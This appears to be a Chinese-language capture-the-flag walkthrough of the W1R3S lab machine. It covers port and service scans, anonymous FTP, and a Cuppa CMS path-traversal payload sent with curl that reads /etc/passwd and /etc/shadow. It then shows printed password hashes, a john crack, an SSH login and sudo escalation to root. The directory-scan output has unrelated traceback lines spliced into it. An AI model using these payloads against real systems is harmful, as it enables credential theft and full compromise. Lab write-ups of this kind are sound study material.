13-w1r3s

端口

```
Nmap scan report for 10.30.13.93
Host is up (0.00031s latency).
Not shown: 55528 filtered tcp ports (no-response), 10003 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:8B:5C:2C (VMware)
```

服务

```
nmap -sVC -O -p21,22,80,3306 10.30.13.93
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-28 04:06 GMT
Nmap scan report for 10.30.13.93
Host is up (0.00064s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.30.13.70
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 content
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 docs
|_drwxr-xr-x    2 ftp      ftp          4096 Jan 28  2018 new-employees
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
```

```
| ssh-hostkey:
|   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
|   256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_  256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:8B:5C:2C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (95%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 3.10 (93%), Linux 4.4 (92%), Synology DiskStation Manager 5.2-5644 (92%), Linux 3.18 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

FTP可以匿名登录，获取到一些信息

```
#可能是用户的id
Naomi
Hector
W1R3S
w1r3s
```

目录扫描

```
gobuster dir -u https://10.10.10.7 -w /usr/share/wordlists/seclists/Discovery/Web-Content/dire |     from aardwolf.connection import RDPConnection
ctory-list-2.3-medium.txt



/wordpress            (Status: 301) [Size: 314] [--> http://10.30.13.93/wordpress/]
|   File "<frozen importlib._bootstrap>", line 690, in _load_unlocked
/javascript           (Status: 301) [Size: 315] [--> http://10.30.13.93/javascript/]
|   File "<frozen importlib._bootstrap_external>", line 936, in exec_module
/administrator        (Status: 301) [Size: 318] [--> http://10.30.13.93/administrator/]
```

目录扫描获得两个cms信息

```
cuppa cms #选择这个进行渗透
wordpress #无法访问
```

cuppa cms 漏洞

```
#payload
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-
encode/resource=../Configuration.php
#修改payload
目标网站cuppa cms所处目录administrator，拼接payloads如下
http://10.30.13.93/administrator/alerts/alertConfigField.php?
urlConfig=../../../etc/passwd



#利用失败后分析
通过分析其漏洞利用过程，应该是通过post提交的base64数据包
反复调试后最终payload
curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd'
http://10.30.13.93/administrator/alerts/alertConfigField.php
#返回信息
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false



第一个字为x，说明密码存储在shadow文件中
http://10.30.13.93/administrator/alerts/alertConfigField.php
#返回信息
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.OuiuOmENav72TfQIs8h1jPm2rwRFqd8
7HDCOpi7gn9t7VgZO:17554:0:99999:7:::
www-
data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/OLBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUK
DoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP
3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
```

破解shadow

```
john  pass.hash
www-data         (www-data)
computer         (w1r3s)
```

user

```
ssh w1r3s@10.30.13.93
w1r3s@W1R3S:~$ id
```

```
uid=1000(w1r3s) gid=1000(w1r3s)
groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

system

```
sudo -l #w1r3s拥有完全sudo权限
sudo /bin/bahs
root@W1R3S:~# id
uid=0(root) gid=0(root) groups=0(root)
root@W1R3S:~# whoami
root
```

总结：
通过目录扫描发现一个cuppa的cms漏洞，利用其获得shadow文件，john破解密码后，通过ssh连上，用sudo提权

方法2：
通过之前ftp匿名登录下载的信息中，有一个用户，通过爆破ssh获得一个用户，ssh登录后提权

```
[22][ssh] host: 10.30.13.93   login: w1r3s   password: computer
```